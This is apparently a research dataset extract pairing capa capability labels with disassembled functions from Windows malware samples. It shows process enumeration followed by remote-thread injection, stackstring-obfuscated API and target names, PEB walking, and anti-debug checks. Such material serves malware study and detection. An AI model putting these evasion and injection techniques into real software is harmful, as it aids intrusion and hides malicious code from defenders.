joyce8/EMBER2024-capa huggingface dataset:
Function at 0x5e2f82
Capabilities:
Parse pe header

Disassembly:
jmp 0x6276da
lea esp, [esp + 4]
jmp fcn.00627726

Function at 0x5e2fa9
Capabilities:
Enumerate pe sections

Disassembly:
jmp 0x6276e3
lea esp, [esp + 4]
jmp fcn.006279b6

Function at 0x5e5cd4
Capabilities:
Encrypt data using aes

Disassembly:
jmp 0x5e5d0c
jmp 0x5e5cf0
lea esp, [esp + 4]
jmp 0x5e5cb7
jmp 0x5e5d28
jmp 0x5e5d44
push ebx
jmp 0x5e5d60
jmp 0x5e5d7c
push ebp
jmp 0x5e5d98
jmp 0x5e5db4
push esi
jmp 0x5e5dd0
jmp 0x62c785
push edi
movzx edx, byte [eax]
jmp 0x62c9fc
shl edx, 8
movzx esi, byte [eax + 1]
jmp 0x62ca3c
xor edx, esi
movzx esi, byte [eax + 2]
shl edx, 8
xor edx, esi
jmp 0x62caf9
movzx eax, byte [eax + 0xf]
jmp 0x62cb90
movzx esi, byte [eax + 5]
mov dword [ecx], edx
movzx edx, byte [eax + 4]
shl edx, 8
xor edx, esi
movzx esi, byte [eax + 6]
shl edx, 8
xor edx, esi
movzx esi, byte [eax + 7]
shl edx, 8
xor edx, esi
movzx esi, byte [eax + 9]
mov dword [ecx + 4], edx
movzx edx, byte [eax + 8]
shl edx, 8
xor edx, esi
movzx esi, byte [eax + 0xa]
shl edx, 8
xor edx, esi
movzx esi, byte [eax + 0xb]
shl edx, 8
xor edx, esi
movzx esi, byte [eax + 0xd]
mov dword [ecx + 8], edx
movzx edx, byte [eax + 0xc]
shl edx, 8
xor edx, esi
movzx esi, byte [eax + 0xe]
jmp 0x62ca6d
movzx esi, byte [eax + 3]
shl edx, 8
xor edx, esi
jmp 0x62ca8a
mov eax, dword [eax*4 + 0x5ef654]
xor eax, 0x1000000
jmp 0x62cf33
shr eax, 0x10
mov esi, 0xff
and eax, esi
jmp 0x62cb43
shl edx, 8
xor edx, esi
shl edx, 8
xor edx, eax
mov dword [ecx + 0xc], edx
mov eax, edx
jmp 0x62cb6b
add ebx, 4
mov dword [edi], ecx
mov edx, dword [eax + 4]
xor edx, ecx
mov dword [eax + 0x14], edx
mov ecx, dword [eax + 8]
xor ecx, edx
mov dword [eax + 0x18], ecx
mov edx, dword [eax + 0xc]
xor edx, ecx
mov dword [eax + 0x1c], edx
cmp ebx, 0x5f0e7c
jne 0x62cf94
push 0xa
pop eax
pop edi
pop esi
pop ebp
pop ebx
ret
mov edi, edx
shr edi, 8
and edi, esi
mov edi, dword [edi*4 + 0x5ef654]
and edi, 0xff0000
mov ebx, dword [ecx + 4]
and eax, 0xff000000
xor eax, edi
mov edi, edx
shr edi, 0x18
movzx edi, byte [edi*4 + 0x5ef654]
xor eax, edi
mov edi, edx
and edi, esi
mov edi, dword [edi*4 + 0x5ef654]
mov ebp, 0xff00
and edi, ebp
xor eax, edi
xor eax, dword [ecx]
lea edi, [ecx + 0x10]
xor ebx, eax
mov dword [edi], eax
mov eax, dword [ecx + 8]
xor eax, ebx
mov dword [ecx + 0x14], ebx
mov dword [ecx + 0x18], eax
xor edx, eax
mov dword [ecx + 0x1c], edx
call fcn.006157ac
mov eax, edi
mov edx, dword [eax + 0xc]
mov ecx, edx
shr ecx, 8
mov edi, edx
and ecx, esi
mov ecx, dword [ecx*4 + 0x5ef654]
shr edi, 0x10
and edi, esi
mov edi, dword [edi*4 + 0x5ef654]
and ecx, 0xff0000
and edi, 0xff000000
xor ecx, edi
mov edi, edx
and edx, esi
mov edx, dword [edx*4 + 0x5ef654]
shr edi, 0x18
movzx edi, byte [edi*4 + 0x5ef654]
xor ecx, edi
and edx, ebp
xor ecx, edx
xor ecx, dword [ebx]
lea edi, [eax + 0x10]
xor ecx, dword [eax]
jmp 0x62cd25
Function at 0x5e6df9
Capabilities:
Encode data using base64

Disassembly:
call fcn.005e6c79
jmp 0x5e6e15
lea esp, [esp + 4]
jmp 0x5e6fb9
jmp 0x5e6e4d
jmp 0x5e6e69
push ebp
jmp 0x5e6e85
jmp 0x5e6ea1
mov ebp, esp
jmp 0x5e6ebd
jmp 0x5e6ed9
push ecx
jmp 0x5e6ef5
jmp 0x5e6f11
push ecx
jmp 0x5e6f2d
jmp 0x5e6f49
push ebx
jmp 0x5e6f65
jmp 0x5e6f81
push edi
jmp 0x5e6f9d
jmp 0x62cd70
jmp 0x5e6e31
jmp 0x5e6df4
mov edi, eax
mov al, byte [ecx]
cmp al, 0x41
jb 0x62cd96
cmp al, 0x5a
jmp 0x62ce05
cmp al, 0x61
jb 0x62fa2f
jae 0x62f915
ror byte [edx - 0x28], 1
mov edi, 0x46ddbb4a
aam 0xb3
dec esi
clc
mov ecx, 0xc9be9c0e
cmp dl, bl
imul esp, dword [ecx], 0xbd3c8bcf
push esp
cli
pop esi
add byte [ecx], ah
retf
jbe 0x62ce22
jmp 0x62cd96
mov bl, byte [ecx + 1]
mov byte [ebp - 1], bl
cmp bl, 0x41
jb 0x62d378
cmp bl, 0x5a
jbe 0x62d0b7
jmp 0x62d378
cmp bl, 0x2b
je 0x62d0b7
cmp bl, 0x2f
jne 0x62e4de
jmp 0x62d0b7
mov cl, byte [ecx + 3]
cmp cl, 0x41
jb 0x62d0f0
cmp cl, 0x5a
jmp 0x62d10c
cmp dl, 0x61
jb 0x62d087
cmp dl, 0x7a
jbe 0x62d00c
jmp 0x62d087
cmp dl, 0x2b
jmp 0x62d09a
cmp bl, 0x30
jb 0x62cfed
cmp bl, 0x39
jbe 0x62d0b7
jmp 0x62cfed
cmp dl, 0x30
jb 0x62d044
cmp dl, 0x39
jbe 0x62d00c
jmp 0x62d044
je 0x62d00c
jne 0x62d198
mov dl, byte [ecx + 2]
cmp dl, 0x41
jb 0x62d034
cmp dl, 0x5a
jbe 0x62d00c
jmp 0x62d034
cmp dl, 0x3d
jne 0x62d1f7
je 0x62d1c1
out dx, eax
cli
popfd
insb byte es:[edi], dx
retf
cmp cl, 0x61
jmp 0x62d110
jbe 0x62d0d1
jmp 0x62d0f0
jb 0x62d131
cmp cl, 0x7a
jbe 0x62d0d1
jmp 0x62d131
cmp cl, 0x30
jb 0x62d179
cmp cl, 0x39
jbe 0x62d0d1
jmp 0x62d179
je 0x62d0d1
cmp cl, 0x3d
jmp 0x62d2f8
cmp cl, 0x2f
jmp 0x62d13d
cmp cl, 0x2b
je 0x62d0d1
jne 0x62d15c
cmpsb byte [esi], byte es:[edi]
xor dword [ecx + 0x299633c0], esp
mov cl, 0x21
inc eax
mov bl, 0x40
xor byte [ecx + 0x1fab5839], ch
push es
xchg edx, eax
cmp dl, 0x2f
je 0x62d00c
cmp dl, 0x3d
jne 0x62e4de
jmp 0x62d00c
mov dword [edi], 1
jmp 0x62d224
xor ebx, ebx
cmp cl, 0x3d
setne bl
inc ebx
inc ebx
mov dword [edi], ebx
mov bl, byte [ebp - 1]
jmp 0x62d224
cmp al, 0x2b
jmp 0x62d2ad
pop eax
jmp 0x62d321
jne 0x62d2d4
push 0x3e
jmp 0x62d290
cmp al, 0x2f
jne 0x62d33e
push 0x3f
jmp 0x62d290
je 0x62d0d1
jmp 0x62e4de
cmp al, 0x39
jmp 0x62e2e8
cmp al, 0x5a
jmp 0x62d665
cmp bl, 0x61
jb 0x62d061
cmp bl, 0x7a
jbe 0x62d0b7
jmp 0x62d061
sub eax, 0x47
jmp 0x62d321
movzx eax, al
ja 0x62d4fc
sub eax, 0x41
jmp 0x62d321
ja 0x62d35a
movzx eax, al
mov eax, 0x403
jmp 0x62d272
cmp al, 0x2b
je 0x62ce22
cmp al, 0x2f
jne 0x62e4de
jmp 0x62ce22
cmp al, 0x7a
jbe 0x62ce22
jmp 0x62fa2f
cmp al, 0x30
jb 0x62f36c
cmp al, 0x39
jbe 0x62ce22
jmp 0x62f36c
Function at 0x5e7e18
Capabilities:
Resolve function by parsing pe exports

Disassembly:
jmp 0x62efb3
lea esp, [esp + 4]
jmp fcn.0062f069
Function at 0x61c071
Capabilities:
Encode data using base64
Encrypt data using speck

Disassembly:
call 0x5e6df9
jmp 0x5e6fd2
Function at 0x7605e7
Capabilities:
Access peb ldr_data
Parse pe header

Disassembly:
sbb byte [esi], ch
sbb ecx, dword [edi + 0x10]
stosd dword es:[edi], eax
mov al, 0xf8
xor dl, byte [eax]
or al, 0xcc
adc ebx, dword [ecx - 0x47]
test al, 0x8b
pop ss
mov edi, 0xb032128f
mov eax, 0x330135ba
add cl, byte [ebp + edx*8 - 0x7af6477f]
fsubrp st(6)
retf
call 0x7605a9
jmp 0x76060f
call 0x7605e7
push ebx
popal
outsb dx, byte gs:[esi]
imul ebp, dword [bp + 0x65], 0x63694c20
outsb dx, byte gs:[esi]
jae 0x760646
jb 0x7605f9
inc esp
insd dword es:[edi], dx
outsd dx, dword [esi]
and byte [esi + 0x31], dh
cmp byte cs:[esi], ch
xor byte [esi], ch
xor byte [eax], al
lea esp, [esp + 4]
pushal
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x1c]
mov eax, dword [eax]
mov eax, dword [eax + 8]
push eax
jmp 0x7605a4
pop eax
xor ax, ax
cmp word [eax], 0x5a4d
je 0x76068a
sub eax, 0x10000
jmp 0x760613
lahf
cmovo ebp, eax
add byte [eax], al
add byte [eax], al
call 0x76064e
pop eax
sub eax, 0x76064e
cmp dword [eax + 0x5df471], 0
je 0x7606ca
lea esp, [esp + 8]
popal
jmp 0x75f9d7
movzx ebx, word [eax + 0x3c]
add ebx, eax
cmp word [ebx], 0x4550
je 0x7607bd
jmp 0x76061a
inc dword [eax + 0x5df471]
push 0xfe2e1710
add dword [esp], 0x22f129f
push 0
push 0
push 0xa036c091
add dword [esp], 0x60265338
call fcn.005eca0e
call fcn.005ebddf
popal
jmp 0x75f9d7
push eax
jmp 0x760649
Function at 0x10001590
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x174
push 0x74e3bb2e
call fcn.10001220
add esp, 4
mov dword [ebp - 0x16c], eax
push 0x3749ca10
call fcn.10001220
add esp, 4
mov dword [ebp - 0x14], eax
push 0x49f43cb7
call fcn.10001220
add esp, 4
mov dword [ebp - 0x170], eax
mov dword [ebp - 0x28], 0x23ec5044
mov dword [ebp - 0x24], 0x33af2093
push 0
push 2
call dword [ebp - 0x16c]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x158], 0x128
lea eax, [ebp - 0x158]
push eax
mov ecx, dword [ebp - 0x2c]
push ecx
call dword [ebp - 0x14]
mov byte [ebp - 0xc], 0x75
mov byte [ebp - 0xb], 0x73
mov byte [ebp - 0xa], 0x65
mov byte [ebp - 9], 0x72
mov byte [ebp - 8], 0x33
mov byte [ebp - 7], 0x32
mov byte [ebp - 6], 0x2e
mov byte [ebp - 5], 0x64
mov byte [ebp - 4], 0x6c
mov byte [ebp - 3], 0x6c
mov byte [ebp - 2], 0
lea edx, [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x168], eax
cmp dword [ebp - 0x168], 0
jne 0x10001657
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x168], eax
mov byte [ebp - 0x164], 0x45
mov byte [ebp - 0x163], 0x6e
mov byte [ebp - 0x162], 0x75
mov byte [ebp - 0x161], 0x6d
mov byte [ebp - 0x160], 0x57
mov byte [ebp - 0x15f], 0x69
mov byte [ebp - 0x15e], 0x6e
mov byte [ebp - 0x15d], 0x64
mov byte [ebp - 0x15c], 0x6f
mov byte [ebp - 0x15b], 0x77
mov byte [ebp - 0x15a], 0x73
mov byte [ebp - 0x159], 0
lea ecx, [ebp - 0x164]
push ecx
mov edx, dword [ebp - 0x168]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x28]
push eax
mov ecx, dword [ebp - 0x150]
push ecx
call fcn.10001460
add esp, 8
test eax, eax
je 0x10001741
mov edx, dword [ebp - 0x24]
push edx
mov eax, dword [ebp - 0x150]
push eax
call fcn.10001460
add esp, 8
test eax, eax
je 0x10001741
lea ecx, [ebp - 0x134]
push ecx
push str.PubwinClient.exe
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x10001741
mov dword [0x10007128], 0
mov edx, dword [ebp - 0x150]
mov dword [ebp - 0x174], edx
lea eax, [ebp - 0x174]
push eax
push 0x10001550
call dword [ebp - 0x10]
cmp dword [0x10007128], 0xa
jbe 0x1000173d
mov eax, 1
jmp 0x100017a3
xor eax, eax
jmp 0x100017a3
lea ecx, [ebp - 0x158]
push ecx
mov edx, dword [ebp - 0x2c]
push edx
call dword [ebp - 0x170]
test eax, eax
jne 0x100016c2
mov byte [ebp - 0x20], 0x4d
mov byte [ebp - 0x1f], 0x69
mov byte [ebp - 0x1e], 0x6e
mov byte [ebp - 0x1d], 0x69
mov byte [ebp - 0x1c], 0x53
mov byte [ebp - 0x1b], 0x6e
mov byte [ebp - 0x1a], 0x69
mov byte [ebp - 0x19], 0x66
mov byte [ebp - 0x18], 0x66
mov byte [ebp - 0x17], 0x65
mov byte [ebp - 0x16], 0x72
mov byte [ebp - 0x15], 0
lea eax, [ebp - 0x20]
push eax
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
test eax, eax
je 0x100017a1
mov eax, 1
jmp 0x100017a3
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x100024f0
Capabilities:
Create thread
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x144
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x12c], eax
mov dword [ebp - 0x128], 0x128
lea eax, [ebp - 0x128]
push eax
mov ecx, dword [ebp - 0x12c]
push ecx
call sub.KERNEL32.dll_Process32First
mov dword [ebp - 0x13c], 0
mov dword [ebp - 0x130], 0
cmp dword [ebp - 0x130], 0
je 0x100025cc
mov edx, dword [ebp - 0x130]
mov dword [ebp - 0x134], edx
mov eax, dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov dword [ebp - 0x138], eax
mov ecx, dword [ebp - 0x120]
push ecx
push 0
push 0x2a
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x140], eax
cmp dword [ebp - 0x140], 0
je 0x100025cc
push 4
push 0x1000
push 8
push 0
mov edx, dword [ebp - 0x140]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x13c], eax
push 0
push 0
mov eax, dword [ebp - 0x13c]
push eax
push 0
push 0
push 0
mov ecx, dword [ebp - 0x140]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0x144], eax
mov edx, dword [ebp - 0x140]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x128]
push eax
mov ecx, dword [ebp - 0x12c]
push ecx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x10002525
mov esp, ebp
pop ebp
ret
Function at 0x100028e0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
mov byte [ebp - 0x14], 0x53
mov byte [ebp - 0x13], 0x65
mov byte [ebp - 0x12], 0x42
mov byte [ebp - 0x11], 0x65
mov byte [ebp - 0x10], 0x62
mov byte [ebp - 0xf], 0x75
mov byte [ebp - 0xe], 0x67
mov byte [ebp - 0xd], 0x50
mov byte [ebp - 0xc], 0x72
mov byte [ebp - 0xb], 0x69
mov byte [ebp - 0xa], 0x76
mov byte [ebp - 9], 0x69
mov byte [ebp - 8], 0x6c
mov byte [ebp - 7], 0x65
mov byte [ebp - 6], 0x67
mov byte [ebp - 5], 0x65
mov byte [ebp - 4], 0
push 0x7a45fbd8
call fcn.10001220
add esp, 4
mov dword [ebp - 0x24], eax
push 0x486274a4
call fcn.10001220
add esp, 4
mov dword [ebp - 0x1c], eax
push 0x672f331f
call fcn.10001220
add esp, 4
mov dword [ebp - 0x50], eax
lea eax, [ebp - 0x14]
push eax
push 0
push 0x1f0001
call dword [ebp - 0x24]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jne 0x10002981
lea ecx, [ebp - 0x14]
push ecx
push 0
push 0
call dword [ebp - 0x1c]
mov dword [ebp - 0x20], eax
jmp 0x10002986
push 0
call dword [ebp - 0x50]
mov byte [ebp - 0x48], 0x43
mov byte [ebp - 0x47], 0x6c
mov byte [ebp - 0x46], 0x6f
mov byte [ebp - 0x45], 0x73
mov byte [ebp - 0x44], 0x65
mov byte [ebp - 0x43], 0x48
mov byte [ebp - 0x42], 0x61
mov byte [ebp - 0x41], 0x6e
mov byte [ebp - 0x40], 0x64
mov byte [ebp - 0x3f], 0x6c
mov byte [ebp - 0x3e], 0x65
mov byte [ebp - 0x3d], 0
lea edx, [ebp - 0x48]
push edx
call fcn.10001430
add esp, 4
mov dword [ebp - 0x38], eax
mov byte [ebp - 0x34], 0x43
mov byte [ebp - 0x33], 0x72
mov byte [ebp - 0x32], 0x65
mov byte [ebp - 0x31], 0x61
mov byte [ebp - 0x30], 0x74
mov byte [ebp - 0x2f], 0x65
mov byte [ebp - 0x2e], 0x54
mov byte [ebp - 0x2d], 0x68
mov byte [ebp - 0x2c], 0x72
mov byte [ebp - 0x2b], 0x65
mov byte [ebp - 0x2a], 0x61
mov byte [ebp - 0x29], 0x64
mov byte [ebp - 0x28], 0
lea eax, [ebp - 0x34]
push eax
call fcn.10001430
add esp, 4
mov dword [ebp - 0x18], eax
push 0x3282227b
call fcn.10001220
add esp, 4
mov dword [ebp - 0x3c], eax
push 0
push 0
push 0
push 0x100025f0
push 0
push 0
call dword [ebp - 0x18]
mov dword [ebp - 0x4c], eax
mov ecx, dword [ebp - 0x4c]
push ecx
call dword [ebp - 0x38]
push 0
push 0
push 0
push 0x100028a0
push 0
push 0
call dword [ebp - 0x18]
mov dword [ebp - 0x4c], eax
mov edx, dword [ebp - 0x4c]
push edx
call dword [ebp - 0x38]
push 0
push 0
push 0
push 0x10003790
push 0
push 0
call dword [ebp - 0x18]
mov dword [ebp - 0x4c], eax
push 0xffffffffffffffff
mov eax, dword [ebp - 0x4c]
push eax
call dword [ebp - 0x3c]
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x100043cc
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10007100]
jne 0x100043d6
repz ret
jmp fcn.1000467d
Function at 0x405660
Capabilities:
Hash data using murmur3

Disassembly:
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x4058a0
sub esp, 0x20
movzx eax, byte [0x7701a7]
test al, al
jne 0x405878
mov eax, dword [0x7703e0]
mov ecx, dword [esp + 0x2c]
imul eax, ecx
mov edx, dword [esp + 0x28]
add eax, edx
mov ebx, dword [esp + 0x24]
jmp 0x405732
mov dword [esp + 0x18], ecx
mov dword [esp + 0x10], edi
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x14], ebx
lea edx, [ebx + 4]
lea ecx, [ebx + 8]
add ebx, 0xc
mov edi, dword [esp + 0x1c]
mov edi, dword [edi]
xor eax, edi
imul eax, eax, 0xbce2d621
rol eax, 0xf
imul eax, eax, 0xc70f85e1
mov edx, dword [edx]
xor ebp, edx
imul ebp, ebp, 0xc70f85e1
rol ebp, 0xf
imul ebp, ebp, 0x319bca41
mov ecx, dword [ecx]
xor esi, ecx
imul esi, esi, 0x319bca41
rol esi, 0xf
imul esi, esi, 0x8b421a21
mov edi, dword [ebx]
mov ecx, dword [esp + 0x10]
xor edi, ecx
imul edi, edi, 0x8b421a21
rol edi, 0xf
imul edi, edi, 0xbce2d621
mov ecx, dword [esp + 0x18]
add ecx, 0xfffffff0
mov edx, dword [esp + 0x14]
lea ebx, [edx + 0x10]
mov edx, dword [esp + 0x28]
cmp ecx, 0x10
jae 0x4056a4
xor eax, ebp
xor eax, esi
xor eax, edi
test ecx, ecx
je 0x405871
cmp ecx, 4
jb 0x40583a
je 0x405825
cmp ecx, 8
jbe 0x4057f7
cmp ecx, 0x10
jbe 0x405774
mov ebp, dword [0x7703e4]
imul ebp, edx
mov esi, dword [0x7703e8]
imul esi, edx
mov edi, dword [0x7703ec]
imul edi, edx
jmp 0x405723
mov edx, ebx
lea ebp, [ebx + 4]
lea esi, [ecx + ebx - 8]
lea ecx, [ecx + ebx - 4]
mov edx, dword [edx]
xor eax, edx
imul eax, eax, 0xbce2d621
rol eax, 0xf
imul eax, eax, 0xc70f85e1
mov edx, dword [ebp]
xor edx, eax
imul edx, edx, 0xbce2d621
rol edx, 0xf
imul edx, edx, 0xc70f85e1
mov eax, dword [esi]
xor eax, edx
imul eax, eax, 0xbce2d621
rol eax, 0xf
imul eax, eax, 0xc70f85e1
mov ecx, dword [ecx]
xor ecx, eax
imul ecx, ecx, 0xbce2d621
rol ecx, 0xf
imul ecx, ecx, 0xc70f85e1
mov eax, ecx
shr ecx, 0x11
xor eax, ecx
imul eax, eax, 0x319bca41
mov ecx, eax
shr eax, 0xd
xor eax, ecx
imul eax, eax, 0x8b421a21
mov ecx, eax
shr eax, 0x10
xor eax, ecx
mov dword [esp + 0x30], eax
add esp, 0x20
ret
mov edx, ebx
lea ebx, [ecx + ebx - 4]
mov ecx, dword [edx]
xor ecx, eax
imul ecx, ecx, 0xbce2d621
rol ecx, 0xf
imul ecx, ecx, 0xc70f85e1
mov eax, dword [ebx]
xor ecx, eax
imul ecx, ecx, 0xbce2d621
rol ecx, 0xf
imul ecx, ecx, 0xc70f85e1
jmp 0x4057ce
mov ecx, dword [ebx]
xor ecx, eax
imul ecx, ecx, 0xbce2d621
rol ecx, 0xf
imul ecx, ecx, 0xc70f85e1
jmp 0x4057ce
mov edx, ecx
shr ecx, 1
mov ebp, ebx
lea esi, [ecx + ebx]
lea edx, [edx + ebx - 1]
movzx ecx, byte [ebp]
xor ecx, eax
movzx eax, byte [esi]
shl eax, 8
xor ecx, eax
movzx eax, byte [edx]
shl eax, 0x10
xor ecx, eax
imul ecx, ecx, 0xbce2d621
rol ecx, 0xf
imul ecx, ecx, 0xc70f85e1
jmp 0x4057ce
mov ecx, eax
jmp 0x4057ce
mov eax, dword [esp + 0x24]
mov dword [esp], eax
mov eax, dword [esp + 0x28]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x2c]
mov dword [esp + 8], eax
call fcn.0044ba70
mov eax, dword [esp + 0xc]
mov dword [esp + 0x30], eax
add esp, 0x20
ret
call fcn.0044a6e0
jmp fcn.00405660
Function at 0x40e390
Capabilities:
Decompress data using quicklz

Disassembly:
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x40e558
sub esp, 0x34
mov eax, dword [esp + 0x38]
cmp eax, 0x7000000
jle 0x40e53d
mov eax, 0x7000000
mov dword [esp + 0x38], eax
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 0x18]
mov edx, dword [ecx + 0x94]
mov ebx, dword [ecx + 0x98]
mov dword [ecx + 0x94], ebx
mov ebp, edx
shl edx, 0x11
xor edx, ebp
mov ebp, ebx
xor ebx, edx
shr edx, 7
xor edx, ebx
mov ebx, ebp
shr ebp, 0x10
xor ebp, edx
mov dword [ecx + 0x98], ebp
lea ecx, [ebp + ebx]
and ecx, 0x3ffffff
inc ecx
mov dword [esp], ecx
call fcn.0044c080
movsd xmm0, qword [esp + 4]
movsd qword [esp + 0x24], xmm0
mov eax, dword [esp + 0x28]
mov ecx, eax
shr eax, 0x14
and eax, 0x7ff
mov edx, eax
add eax, 0xfffffc01
mov ebx, ecx
shr ecx, 0xf
and ecx, 0x1f
mov ebp, ecx
add ecx, 1
mov esi, dword [esp + 0x24]
shr esi, 0x1b
shl ebx, 5
or esi, ebx
mov ebx, ebp
add ebp, 1
mov ebp, 0
adc ebp, 0
test ebp, ebp
jne 0x40e551
cmp ecx, 0x21
jae 0x40e551
mov dword [esp + 0x10], esi
lea ebp, [0x7343a0]
movsd xmm0, qword [ebp + ebx*8]
movsd qword [esp + 0x14], xmm0
movsd xmm1, qword [ebp + ecx*8]
movsd qword [esp + 0x1c], xmm1
mov dword [esp], eax
add edx, 0xfffffc01
mov eax, 0xffffffff
adc eax, 0
mov dword [esp + 4], eax
call fcn.004472c0
mov eax, dword [esp + 0x10]
and eax, 0xfffff
movsd xmm0, qword [esp + 8]
movsd qword [esp + 0x2c], xmm0
mov dword [esp], eax
mov dword [esp + 4], 0
call fcn.004473b0
movsd xmm0, qword [esp + 0x2c]
movsd xmm1, qword [esp + 0x14]
addsd xmm0, xmm1
movsd xmm2, qword [esp + 0x1c]
subsd xmm2, xmm1
movsd xmm1, qword [esp + 8]
mulsd xmm2, xmm1
movsd xmm1, qword [0x65c320]
mulsd xmm1, xmm2
addsd xmm0, xmm1
movsd xmm1, qword [0x65c390]
subsd xmm0, xmm1
xorps xmm1, xmm1
ucomisd xmm0, xmm1
jbe 0x40e518
xorps xmm0, xmm0
mov eax, dword [esp + 0x38]
cvtsi2sd xmm1, eax
movsd xmm2, qword [0x65c3c0]
mulsd xmm1, xmm2
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
inc eax
mov dword [esp + 0x3c], eax
add esp, 0x34
ret
test eax, eax
jne 0x40e3bd
mov dword [esp + 0x3c], 0
add esp, 0x34
ret
call fcn.00425ca0
ud2
call fcn.0044a6e0
jmp fcn.0040e390
Function at 0x412350
Capabilities:
Check for software breakpoints

Disassembly:
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x412591
sub esp, 0x24
mov eax, dword [0x770218]
test eax, eax
jne 0x412579
lea eax, [0x770208]
mov dword [esp], eax
call fcn.0040c550
mov eax, dword [0x75e308]
test eax, eax
je 0x41239d
mov eax, dword [eax + 8]
cmp eax, 0xcc
jne 0x412464
mov eax, dword [0x75e300]
test eax, eax
jne 0x412446
mov dword [esp], 0x1000
mov dword [esp + 4], 0
lea eax, [0x771e38]
mov dword [esp + 8], eax
call fcn.0040e570
mov eax, dword [esp + 0xc]
mov dword [0x75e300], eax
mov ecx, dword [0x75e2dc]
mov dword [eax], ecx
mov eax, dword [0x75e300]
mov dword [0x75e2dc], eax
movzx eax, byte [0x7705a0]
test al, al
jne 0x412446
xor eax, eax
jmp 0x412403
lea ebp, [0x7705a0]
mov byte [ebp + edx], bl
lea eax, [edx + 1]
cmp eax, 0x80
jge 0x412446
mov ecx, eax
mov eax, 0xcccccccd
imul ecx
add edx, ecx
sar edx, 2
mov ebx, ecx
sar ecx, 0x1f
sub edx, ecx
lea ecx, [edx + edx*4]
mov edx, ebx
sub ebx, ecx
cmp ebx, 5
jae 0x412572
lea ecx, [0x72f108]
movzx ebx, byte [ecx + ebx]
cmp edx, 0x80
jb 0x4123f6
jmp 0x412572
mov eax, dword [0x75e300]
mov ecx, dword [eax + 4]
mov dword [0x75e300], ecx
mov ecx, dword [0x75e308]
mov dword [eax + 4], ecx
mov dword [0x75e308], eax
mov eax, dword [0x75e308]
mov ecx, dword [eax + 8]
lea edx, [eax + 8]
cmp ecx, 0xcc
jae 0x41256b
mov dword [esp + 0x20], eax
mov dword [esp + 0x14], ecx
mov dword [esp], edx
mov dword [esp + 4], 1
call fcn.00401570
mov eax, dword [esp + 0x14]
lea eax, [eax + eax*4]
mov ecx, dword [esp + 0x20]
lea edx, [ecx + eax*4 + 0x10]
mov ebx, dword [0x7703f0]
test ebx, ebx
jne 0x41254a
mov edx, dword [esp + 0x2c]
mov dword [ecx + eax*4 + 0x10], edx
mov edx, dword [esp + 0x30]
mov dword [ecx + eax*4 + 0x18], edx
mov edx, dword [0x7703f0]
lea ebx, [ecx + eax*4 + 0x1c]
lea ebp, [ecx + eax*4 + 0x20]
lea esi, [ecx + eax*4 + 0x14]
test edx, edx
jne 0x412508
mov edx, dword [esp + 0x34]
mov dword [ecx + eax*4 + 0x1c], edx
mov edx, dword [esp + 0x38]
mov dword [ecx + eax*4 + 0x20], edx
mov edx, dword [esp + 0x28]
mov dword [ecx + eax*4 + 0x14], edx
mov byte [0x770190], 1
lea eax, [0x770208]
mov dword [esp], eax
call fcn.0040c720
add esp, 0x24
ret
mov dword [esp + 0x1c], ebp
mov dword [esp + 0x18], esi
mov dword [esp], ebx
mov eax, dword [esp + 0x34]
mov dword [esp + 4], eax
call fcn.0040e9f0
mov eax, dword [esp + 0x1c]
mov dword [esp], eax
mov eax, dword [esp + 0x38]
mov dword [esp + 4], eax
call fcn.0040e9f0
mov eax, dword [esp + 0x18]
mov dword [esp], eax
mov eax, dword [esp + 0x28]
mov dword [esp + 4], eax
call fcn.0040e9f0
jmp 0x4124ef
mov dword [esp + 0x10], eax
mov dword [esp], edx
mov eax, dword [esp + 0x2c]
mov dword [esp + 4], eax
call fcn.0040e9f0
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
jmp 0x4124b9
call fcn.00425ca0
ud2
call fcn.00425ca0
ud2
lea eax, [0x62f137]
mov dword [esp], eax
mov dword [esp + 4], 0x18
call fcn.00427200
ud2
call fcn.0044a6e0
jmp fcn.00412350
Function at 0x420950
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x420a6c
sub esp, 0x14
mov eax, dword [esp + 0x18]
movzx ecx, byte [eax + 6]
cmp cl, 1
je 0x4209e0
cmp cl, 2
jne 0x420a54
mov ecx, dword [eax + 8]
mov dword [esp], ecx
mov ecx, dword [esp + 0x20]
mov dword [esp + 4], ecx
